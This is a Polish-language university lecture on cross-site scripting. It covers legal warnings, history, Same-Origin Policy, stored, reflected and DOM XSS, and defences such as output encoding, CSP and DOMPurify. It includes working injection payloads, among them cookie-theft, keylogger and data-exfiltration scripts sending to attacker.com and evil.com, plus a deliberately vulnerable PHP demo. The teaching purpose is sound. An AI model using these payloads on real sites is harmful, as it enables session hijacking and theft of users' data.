Podatność XSS

Marek Miśkiewicz

UMCS 2024

Ostrzeżenie: Prawne Konsekwencje Ataków na Aplikacje Webowe

Zwracam uwagę, że **symulowanie ataków na aplikacje webowe, takie jak SQL Injection, XSS czy CSRF, w środowiskach produkcyjnych lub bez wyraźnej zgody właściciela systemu, jest naruszeniem prawa.** Zgodnie z **polskim Kodeksem Karnym (art. 267–269)** takie działania mogą być uznane za przestępstwo zagrożone karą grzywny, ograniczenia wolności lub pozbawienia wolności.

Proszę pamiętać, że analiza podatności i testowanie bezpieczeństwa powinny być przeprowadzane wyłącznie w środowiskach testowych lub na podstawie **jasnej zgody właściciela systemu**. Wszelkie działania bez upoważnienia są niezgodne z prawem i mogą prowadzić do poważnych konsekwencji prawnych.

Wykorzystujcie zdobytą wiedzę wyłącznie w celach edukacyjnych i zgodnie z etyką zawodową!

Kodeks karny

Art. 267.

§ 1. Kto bez uprawnienia uzyskuje dostęp do informacji dla niego nieprzeznaczonej, otwierając zamknięte pismo, podłączając się do sieci telekomunikacyjnej lub przełamując albo omijając elektroniczne, magnetyczne, informatyczne lub inne szczególne jej zabezpieczenie, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
§ 2. Tej samej karze podlega, kto bez uprawnienia uzyskuje dostęp do całości lub części systemu informatycznego

Art. 268.

§ 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa lub zmienia zapis istotnej informacji albo w inny sposób udaremnia lub znacznie utrudnia osobie uprawnionej zapoznanie się z nią, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
§ 2. Jeżeli czyn określony w § 1 dotyczy zapisu na informatycznym nośniku danych, sprawca podlega karze pozbawienia wolności do lat 3.

Art. 269a.

Kto, nie będąc do tego uprawnionym, przez transmisję, zniszczenie, usunięcie, uszkodzenie, utrudnienie dostępu lub zmianę danych informatycznych, w istotnym stopniu zakłóca pracę systemu informa- tycznego, systemu teleinformatycznego lub sieci teleinformatycznej, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.

Art. 269c.

Nie podlega karze za przestępstwo określone w art. 267 § 2 lub art. 269a, kto działa wyłącznie w celu zabezpieczenia systemu informatycznego, systemu teleinformatycznego lub sieci teleinformatycznej albo opracowania metody takiego zabezpieczenia i niezwłocznie powiadomił dysponenta tego systemu lub sieci o ujawnionych zagrożeniach, a jego działanie nie naruszyło interesu publicznego lub prywatnego i nie wyrządziło szkody.

Bibliografia

1. **Bezpieczeństwo aplikacji webowych**, SECURITIUM, Kraków 2019

Definicja XSS (Cross-Site Scripting)

XSS (Cross-Site Scripting) to rodzaj podatności w aplikacjach webowych, która pozwala atakującemu na wstrzyknięcie i wykonanie złośliwego kodu, zazwyczaj w postaci JavaScript, w kontekście przeglądarki użytkownika końcowego. Kod ten jest uruchamiany w przeglądarce ofiary z uprawnieniami domeny aplikacji, w której występuje podatność.

Działanie XSS wynika z niewystarczającego zabezpieczenia danych wejściowych w aplikacji webowej.

Co oznacza Cross-site Scripting

Termin “Cross-Site Scripting” odnosi się do wykorzystania luki, która umożliwia „przeskoczenie” zasad bezpieczeństwa przeglądarki (Same-Origin Policy). Atakujący wprowadza kod w jednym kontekście (np. formularz, komentarz) i powoduje jego wykonanie w przeglądarce użytkownika w innym kontekście, zazwyczaj w ramach autoryzowanego połączenia z aplikacją webową.

Historia powstania podatności XSS

Podatność XSS pojawiła się w latach 90. wraz z rozwojem dynamicznych stron internetowych i skryptów po stronie klienta (JavaScript). W 2002 roku została formalnie włączona do klasyfikacji OWASP Top 10 jako jedna z najpoważniejszych podatności w aplikacjach webowych. Ze względu na swoją powszechność i prostotę wykorzystania, XSS pozostaje zagrożeniem do dziś.

- Pierwsza dokumentacja podatności tego typu pojawiła się w 1996 roku
- Początkowo nazywana "CSS" (Cross-Site Scripting)
- W 2000 roku Microsoft wprowadził termin "XSS" dla uniknięcia konfliktu nazewnictwa z Cascading Style Sheets

MySpace Samy Worm (2005)

- Pierwszy znaczący robak wykorzystujący XSS
- Zainfekował ponad milion profili w ciągu 24 godzin
- Doprowadził do czasowego wyłączenia serwisu MySpace
- Autor, Samy Kamkar, został skazany za cyberprzestępstwo

https://samy.pl/myspace/tech.html

Apache.org (2010)

- Atak na infrastrukturę Apache Software Foundation
- Wykorzystano podatność XSS w systemie Atlassian JIRA
- Skutkował kompromitacją wielu systemów i kont użytkowników

https://blogsarchive.apache.org/infra/entry/apache_org_04_09_2010

Twitter XSS Worm (2010)

- Wykorzystanie podatności onMouseOver
- Rozprzestrzenił się przez automatyczne retweety
- Dotknął setki tysięcy użytkowników

https://www.theguardian.com/technology/blog/2010/sep/21/twitter-hack-explained-xss-javascript

Wpływ XSS na bezpieczeństwo aplikacji webowych

- **Kradzież danych:** Sesji użytkownika, ciasteczek, danych uwierzytelniających.
- **Przejęcie kontroli nad przeglądarką:** Wykonywanie złośliwych działań, takich jak zmiana treści strony czy przekierowanie użytkownika.
- **Rozprzestrzenianie malware:** XSS może być wykorzystywany do osadzania złośliwych skryptów na popularnych witrynach.
- **Reputacja aplikacji:** Exploity XSS mogą zniszczyć zaufanie użytkowników do aplikacji i prowadzić do strat finansowych.

Statystyki dotyczące XSS

- Zgodnie z raportami OWASP, XSS był jedną z najczęstszych podatności wykrywanych w aplikacjach webowych.
- Według badania Veracode z 2022 roku, XSS stanowiło ponad 30% wszystkich podatności wykrytych w aplikacjach analizowanych przez ich narzędzia.
- Większość ataków XSS dotyczy aplikacji, które niewystarczająco walidują dane wejściowe lub nie stosują odpowiedniego kodowania danych wyjściowych.

https://owasp.org/Top10/A03_2021-Injection/

Prosty przykład

Operator trójargumentowy, który sprawdza czy parametr `message` istnieje w tablicy `$_GET`

```php
<?php
// vulnerable.php
$message = isset($_GET['message']) ? $_GET['message'] : '';
?>
```

Pozostały kod strony

```
<!DOCTYPE html>
<html>
<head>
    <title>XSS Demo</title>
</head>
<body>
    <h1>Księga gości</h1>
    <form action="" method="GET">
        <input type="text" name="message">
        <input type="submit" value="Wyślij">
    </form>

    <!-- Podatny kod: -->
    <div>
        Ostatnia wiadomość: <?php echo $message; ?>
    </div>

    <!-- Zabezpieczony kod: -->
    <div>
        Ostatnia wiadomość (zabezpieczona): <?php echo htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); ?>
    </div>
</body>
</html>
```

Przykłady wstrzyknięć

1. Podstawowy alert:

```
<script>alert('XSS!')</script>
```

2. Kradzież ciasteczek:

```
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
```

3. Przekierowanie strony:

```
<script>window.location='https://evil.com'</script>
```

4. Wstrzyknięcie bez użycia znacznika script:

```
<img src="x" onerror="alert('XSS!')">
```

   - Nie jest wymagany znacznik `<script>`

5. Wstrzyknięcie z użyciem JavaScript Event Handlers:

```
<body onload="alert('XSS!')">
```

   - Atrybut onload wykonuje kod JavaScript bez potrzeby użycia znacznika `<script>`
   - Wykonanie następuje automatycznie - nie wymaga interakcji użytkownika
   - Jest to tzw. Event-Handler Injection

6. Bardziej złożony przykład - dodanie keyloggera:

```
<img src="x" onerror="document.addEventListener('keypress',
  function(e){fetch('https://attacker.com/keys?key='+e.key)})">
```

- Tworzy nieistniejący obrazek `(src="x")`
- Wywołuje błąd ładowania (onerror)
- Dodaje nasłuchiwanie zdarzeń klawiatury `addEventListener('keypress')`
- Wysyła każdy naciśnięty klawisz do serwera atakującego `fetch`

7. Modyfikacja DOM:

```
<script>
  document.body.style.backgroundColor='black';
  document.body.style.color='red';
  document.body.innerHTML='HACKED!';
</script>
```

Czym jest SOP (Same-Origin Policy)

Same-Origin Policy stanowi jeden z fundamentalnych mechanizmów bezpieczeństwa w przeglądarkach internetowych. Jest to zasada, która określa w jaki sposób dokumenty i skrypty z jednego źródła (origin) mogą wchodzić w interakcję z zasobami z innego źródła.
Źródło (origin) jest definiowane przez trzy kluczowe komponenty:

- Protokół (np. http lub https)
- Nazwę hosta (np. example.com)
- Port (np. 80 lub 443)

Same-Origin Policy wymusza, że JavaScript uruchomiony na stronie może uzyskać pełny dostęp tylko do zasobów pochodzących z tego samego źródła. Oznacza to, że wszystkie trzy komponenty (protokół, host i port) muszą być identyczne.

Same-Origin Policy został zaprojektowany, aby chronić przed atakami między różnymi źródłami, ale XSS jest szczególnie niebezpieczny właśnie dlatego, że omija te zabezpieczenia.

Kiedy atakujący wykorzystuje XSS, jego kod jest wstrzykiwany i wykonywany w kontekście atakowanej strony. Z perspektywy przeglądarki, ten złośliwy kod pochodzi z tego samego źródła co legalna strona.

Ten kod z `evil.com` NIE zadziała:

```
fetch('https://bank.com/api/account').then(r => r.json())
```

Przeglądarka zablokuje to żądanie

Ale jeśli atakującemu uda się wstrzyknąć kod przez XSS na bank.com:

```
<script>
  fetch('/api/account').then(r => r.json()).then(data => {
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
```

Ten kod MA dostęp do API banku, bo jest wykonywany w kontekście bank.com!

Rodzaje XSS

Stored XSS

Stored XSS (Trwały Cross-Site Scripting) jest jedną z najpoważniejszych form ataków XSS, charakteryzującą się tym, że złośliwy kod jest przechowywany w sposób trwały w systemie docelowym, najczęściej w bazie danych.

Mechanizm działania:

Stored XSS wykorzystuje dwuetapowy proces. W pierwszej fazie atakujący wprowadza złośliwy payload do systemu poprzez standardowe punkty wejścia aplikacji, takie jak formularze, pola komentarzy czy profile użytkowników. Następnie, gdy inny użytkownik uzyskuje dostęp do zainfekowanej zawartości, złośliwy kod jest pobierany z bazy danych i wykonywany w kontekście jego przeglądarki.

Charakterystyka:

- **Persystencja:** Złośliwy kod jest przechowywany w sposób trwały w infrastrukturze aplikacji.
- **Zasięg:** Pojedynczy atak może wpłynąć na wielu użytkowników.
- **Automatyczna aktywacja:** Nie wymaga dodatkowej interakcji ze strony atakującego po początkowym wstrzyknięciu kodu.
- **Wysokie uprawnienia:** Kod jest wykonywany w kontekście bezpieczeństwa zaatakowanej aplikacji.

Wektor ataku:

Atak rozpoczyna się od znalezienia punktu wejścia w aplikacji, który spełnia trzy krytyczne warunki:

- Dane wprowadzone przez użytkownika są zapisywane w bazie danych
- Zapisane dane są później pobierane i wyświetlane innym użytkownikom
- Dane nie są odpowiednio walidowane przy zapisie ani sanityzowane przy wyświetlaniu

Wpływ na bezpieczeństwo:

Stored XSS może prowadzić do poważnych naruszeń bezpieczeństwa, w tym:

- Kradzieży danych uwierzytelniających
- Przejęcia sesji użytkowników
- Modyfikacji zawartości strony
- Rozprzestrzeniania złośliwego oprogramowania
- Kompromitacji danych użytkowników

Mechanizmy obrony:

Ochrona przed Stored XSS wymaga implementacji wielowarstwowych zabezpieczeń:

- Walidacja danych wejściowych na poziomie aplikacji
- Sanityzacja danych przy zapisie do bazy danych
- Kodowanie znaków specjalnych przy wyświetlaniu danych
- Implementacja nagłówków bezpieczeństwa
- Monitoring i analiza zapisywanych danych

Implikacje techniczne:

Stored XSS stanowi szczególne zagrożenie w aplikacjach wieloużytkownikowych, gdzie pojedynczy payload może być wykonany wielokrotnie w różnych kontekstach bezpieczeństwa. Jest to szczególnie istotne w systemach, gdzie użytkownicy mają różne poziomy uprawnień, gdyż wykonanie złośliwego kodu następuje w kontekście każdego użytkownika odwiedzającego zainfekowaną stronę.

PRZYKŁAD

Reflected XSS

Reflected Cross-Site Scripting (Reflected XSS) jest typem ataku, w którym złośliwy kod jest wysyłany do serwera jako część żądania HTTP i natychmiast "odbijany" z powrotem do użytkownika w odpowiedzi serwera.

W przeciwieństwie do Stored XSS, gdzie złośliwy kod jest przechowywany w bazie danych, w Reflected XSS payload jest wykonywany tylko jednokrotnie, bezpośrednio po wysłaniu żądania. Dlatego też ten typ ataku wymaga skłonienia ofiary do kliknięcia w specjalnie spreparowany link lub przesłania odpowiednio zmodyfikowanego formularza.

Mechanizm działania:

Mechanizm działania Reflected XSS opiera się na tym, że aplikacja webowa pobiera dane z parametrów żądania (najczęściej z URL lub pól formularza) i umieszcza je bezpośrednio w odpowiedzi HTML bez odpowiedniej walidacji i enkodowania. Kiedy przeglądarka otrzymuje taką odpowiedź, interpretuje zawarty w niej kod JavaScript jako część legalnej strony, wykonując go w kontekście bezpieczeństwa atakowanej domeny.

Proces ataku Reflected XSS:

Atakujący przygotowuje specjalnie spreparowany URL, który zawiera złośliwy kod JavaScript jako parametr. Ten URL może być zamaskowany przez skrócenie lub ukryty w pozornie niewinnym linku.

Ofiara zostaje nakłoniona do kliknięcia w link, najczęściej poprzez techniki inżynierii społecznej, takie jak wiadomości email, posty w mediach społecznościowych czy komunikatory.

Po kliknięciu w link, przeglądarka ofiary wysyła żądanie do podatnej aplikacji, przekazując złośliwy kod jako parametr.

Aplikacja pobiera wartość parametru i umieszcza ją bezpośrednio w generowanej stronie HTML.

Przeglądarka ofiary otrzymuje odpowiedź i wykonuje zawarty w niej złośliwy kod JavaScript, który ma dostęp do wszystkich zasobów w kontekście atakowanej domeny.

Wektor ataku:

- Parametry wyszukiwania
- Komunikaty o błędach
- Przekierowania
- Formularze zwracające dane wejściowe
- Parametry URL używane do personalizacji strony

Różnica między Reflected XSS a Stored XSS:

Różnica jest istotna z perspektywy bezpieczeństwa. W przypadku Reflected XSS:

- Atak wymaga aktywnego udziału ofiary
- Złośliwy kod nie jest przechowywany w systemie
- Każde wykonanie ataku wymaga nowego żądania
- Zasięg ataku jest zazwyczaj ograniczony do pojedynczego użytkownika
- Wektor ataku jest łatwiejszy do wykrycia ze względu na obecność payloadu w URL

Mechanizmy obrony:

Skuteczna obrona przed Reflected XSS wymaga implementacji kilku warstw zabezpieczeń:

- Walidacja wszystkich parametrów wejściowych
- Enkodowanie danych wyjściowych odpowiednie do kontekstu HTML
- Implementacja nagłówków bezpieczeństwa, szczególnie Content Security Policy
- Stosowanie mechanizmów CSRF protection
- Filtrowanie i sanityzacja danych wejściowych na poziomie aplikacji

PRZYKŁAD

DOM XSS

DOM-based XSS (Document Object Model Based Cross-site Scripting) jest szczególnym typem podatności XSS, gdzie atak następuje poprzez modyfikację środowiska DOM przeglądarki ofiary. W przeciwieństwie do Reflected i Stored XSS, złośliwy kod nie musi być wysyłany na serwer - cały atak odbywa się po stronie klienta.

Charakterystyka

- Atak wykonywany jest całkowicie po stronie klienta
- Wykorzystuje dynamiczne modyfikacje DOM przez JavaScript
- Może wystąpić nawet w aplikacjach statycznych (bez backendu)
- Trudniejszy do wykrycia przez tradycyjne skanery bezpieczeństwa

Mechanizm działania

DOM XSS występuje, gdy aplikacja używa danych kontrolowanych przez użytkownika (np. parametrów URL) do dynamicznej modyfikacji DOM, bez odpowiedniej walidacji. Atakujący może wykorzystać te miejsca do wstrzyknięcia złośliwego kodu JavaScript.

Przykład

```
function displayMode() {
    const mode = getUrlParameter('mode');
    if (mode) {
        // Podatny kod - bezpośrednie wstawienie wartości do innerHTML
        document.getElementById('modeDisplay').innerHTML =
            `<h3>Analysis Mode: ${mode}</h3>`;
    }
}
```

1. Skrypt pobiera parametr 'mode' z URL bezpośrednio w przeglądarce
2. Wartość tego parametru jest wstawiana do DOM przy użyciu innerHTML
3. **Nigdy nie następuje interakcja z serwerem** - cały atak dzieje się w przeglądarce

Kiedy wstrzykniemy:

```
?mode=Basic</h3><script>alert('XSS')</script><h3>
```

to

1. Żadne zapytanie nie jest wysyłane do serwera
2. JavaScript w przeglądarce sam modyfikuje DOM używając niezabezpieczonej wartości z URL
3. Przeglądarka interpretuje wstrzyknięty kod jako część legalnej strony

Inne wektory ataku

- Przez atrybut onerror obrazka

```
?name=<img src=x onerror=alert('img_onerror')>
```

- Przez zdarzenie onload svg

```
?name=<svg onload=alert('svg_onload')>
```

- Przez zdarzenie onmouseover (wymaga najechania myszą)

```
?name=<div onmouseover=alert('mouseover')>Najedź tutaj</div>
```

- Przez zdarzenie onfocus (wymaga kliknięcia)

```
?name=<input onfocus=alert('focus') autofocus>
```

Analiza przykładu

Podatna implementacja

```
// Podatna funkcja wyświetlająca wybrany tryb analizy
    function displayMode() {
        const mode = getUrlParameter('mode');
        if (mode) {
            // Podatny kod - bezpośrednie wstawienie wartości do innerHTML
            document.getElementById('modeDisplay').innerHTML =
                `<h3>Analysis Mode: ${mode}</h3>`;
        }
    }
```

Poprawiona wersja

1. **Rezygnacja z innerHTML:**

```
// NIEBEZPIECZNE - podatne na XSS:
document.getElementById('modeDisplay').innerHTML = `<h3>Analysis Mode:
    ${mode}</h3>`;

// BEZPIECZNE - tworzenie elementów:
const h3 = document.createElement('h3');
const text = document.createTextNode(`Analysis Mode: ${mode}`);
h3.appendChild(text);
```

Dlaczego to jest bezpieczniejsze:

- `createElement()` tworzy czysty element HTML bez interpretacji zawartości
- `createTextNode()` traktuje całą zawartość jako zwykły tekst, nawet jeśli zawiera tagi HTML
- W praktyce oznacza to, że jeśli mode = `<img src=x onerror=alert(1)>`, to zostanie to wyświetlone jako tekst, a nie zinterpretowane jako HTML

2. **Bezpieczne dodawanie do DOM:**

```
const display = document.getElementById('modeDisplay');
display.innerHTML = ''; // Czyszczenie
display.appendChild(h3);
```

Tu mamy:

- Czyszczenie kontenera przez `innerHTML = ''` - bezpieczna operacja, bo wstawiamy pusty string
- `appendChild()` - bezpieczna metoda dodawania elementów, która nie interpretuje HTML

3. **Walidacja danych wejściowych:**

```
function validateMode(mode) {
    const allowedModes = ['basic', 'wordcount', 'charcount', 'sentiment'];
    return allowedModes.includes(mode.toLowerCase()) ? mode : 'basic';
}
```

To jest przykład walidacji typu "whitelist":

- Definiujemy listę dozwolonych wartości
- Wszystko spoza listy jest odrzucane
- Używamy `toLowerCase()` dla normalizacji danych
- Zwracamy bezpieczną wartość domyślną ('basic') dla nieprawidłowych danych

Pełne zabezpieczenie powinno wyglądać tak:

```
function displayMode() {
    const mode = getUrlParameter('mode');
    if (mode) {
        // Najpierw walidacja
        const validMode = validateMode(mode);

        // Potem bezpieczne tworzenie elementów
        const h3 = document.createElement('h3');
        const text = document.createTextNode(`Analysis Mode: ${validMode}`);
        h3.appendChild(text);

        // Na końcu bezpieczne dodanie do DOM
        const display = document.getElementById('modeDisplay');
        display.innerHTML = '';
        display.appendChild(h3);
    }
}
```

W tym podejściu:

1. Najpierw walidujemy dane wejściowe
2. Używamy tylko sprawdzonych wartości
3. Tworzymy elementy bezpiecznymi metodami
4. Bezpiecznie dodajemy je do DOM

Obrona wielowarstwowa

- Nawet jeśli walidacja zawiedzie, `createTextNode()` zapobiega XSS
- Nawet jeśli ktoś znajdzie sposób na ominięcie `createTextNode()`, lista dozwolonych wartości ogranicza możliwe szkody
- Nie używamy niebezpiecznych metod jak `innerHTML` do wstawiania niezaufanych danych

Dodatkowe mechanizmy obrony:

1. Content Security Policy (CSP):

```
Content-Security-Policy: default-src 'self';
                         script-src 'self'
                         'nonce-randomValue'
```

`default-src 'self':`

- jest to dyrektywa domyślna dla wszystkich typów zasobów
- `self` oznacza, że domyślnie dozwolone jest ładowanie zasobów tylko z tej samej domeny (origin)
- dotyczy to obrazów, stylów CSS, fontów itp.
- blokuje ładowanie zasobów z zewnętrznych domen

`script-src 'self' 'nonce-randomValue':`

- ta dyrektywa określa dozwolone źródła dla skryptów JavaScript
- `self` pozwala na ładowanie skryptów z tej samej domeny
- `nonce-randomValue` wprowadza system tokenów dla inline scripts

2. Walidacja danych wejściowych:

```
function sanitizeInput(input) {
    // Tylko dozwolone znaki i maksymalna długość
    return input.replace(/[^a-zA-Z0-9-]/g, '').slice(0, 20);
}
```

3. Użycie dedykowanych bibliotek do sanityzacji:

```
import DOMPurify from 'dompurify';

function displayMode() {
    const mode = getUrlParameter('mode');
    if (mode) {
        document.getElementById('modeDisplay').innerHTML =
            DOMPurify.sanitize(`<h3>Analysis Mode: ${mode}</h3>`);
    }
}
```

Podsumowanie

DOM XSS jest szczególnie niebezpieczny, ponieważ:

- Może występować nawet w aplikacjach statycznych
- Jest trudniejszy do wykrycia przez automatyczne skanery
- Często omija tradycyjne mechanizmy obrony skupione na walidacji po stronie serwera
- Może prowadzić do przejęcia pełnej kontroli nad aplikacją kliencką

Ochrona przed XSS

1. **Kodowanie wyjścia (Output Encoding)**

- Kodowanie dane użytkownika przed wyświetleniem na stronie.
- Używanie odpowiednich funkcji w zależności od kontekstu (HTML, JavaScript, CSS, URL):
  - HTML: `htmlspecialchars()` (PHP), `escapeHtml()` (Java)
  - JavaScript: `JSON.stringify()`, `encodeURIComponent()`
- Unikane wstawiania danych użytkownika bezpośrednio do kodu HTML lub skryptów.

2. **Użycie nagłówków Content Security Policy (CSP)**

- CSP ogranicza, jakie źródła mogą być używane w aplikacji (np. skrypty, style, obrazy).
- Przykładowy nagłówek:

```
Content-Security-Policy: default-src 'self'; script-src 'self';
```

- Dzięki CSP nawet w przypadku umieszczenia złośliwego kodu, jego wykonanie będzie zablokowane.

3. **Walidacja i sanitizacja danych wejściowych**

- Należy walididować dane wejściowe użytkownika, upewniając się, że zawierają tylko oczekiwane znaki.
- Należy dane wejściowe poddawać sanityzacji, aby usunąć potencjalnie niebezpieczne fragmenty (np. `<script>`).
- Biblioteki pomocnicze:
  - PHP: `htmlpurifier`
  - JavaScript: `DOMPurify`

4. **Nagłówek HTTP X-XSS-Protection**

- Niektóre przeglądarki obsługują mechanizm zapobiegania XSS:

```
X-XSS-Protection: 1; mode=block
```

- Choć to rozwiązanie jest przestarzałe w nowoczesnych przeglądarkach, nadal może wspierać starsze.

5. **Unikanie wstrzykiwania danych do HTML/JavaScript**

- Należy używać szablonów serwerowych (np. Thymeleaf, Handlebars), które automatycznie kodują dane.
- W JavaScript należy unikać manipulacji DOM za pomocą funkcji takich jak `innerHTML` Zamiast tego lepiej używać bezpieczniejszych metod, np.:

```
element.textContent = userInput;
```

6. **Używanie frameworków z wbudowanymi zabezpieczeniami**

- Wiele frameworków (np. React, Angular) automatycznie stosuje kodowanie wyjścia i ochronę przed XSS.
- Unikanie wyłączania wbudowanych mechanizmów ochrony (np. bypassSecurityTrustHtml w Angular).

7. **Ograniczenie dynamicznego generowania HTML**

- Minimalizowanie wykorzystanie kodu, który generuje HTML w czasie rzeczywistym na podstawie danych użytkownika.

8. **Regularne aktualizacje oprogramowania**

- Korzystanie z aktualnych wersji bibliotek, frameworków i serwera aplikacji, które eliminują znane podatności.

9. **Audyt kodu i testy bezpieczeństwa**

- Należy przeprowadzać regularne audyty bezpieczeństwa i testy (np. z wykorzystaniem narzędzi takich jak Burp Suite).
- Dobrze jest organiziować testy penetracyjne, aby wykryć potencjalne luki w zabezpieczeniach.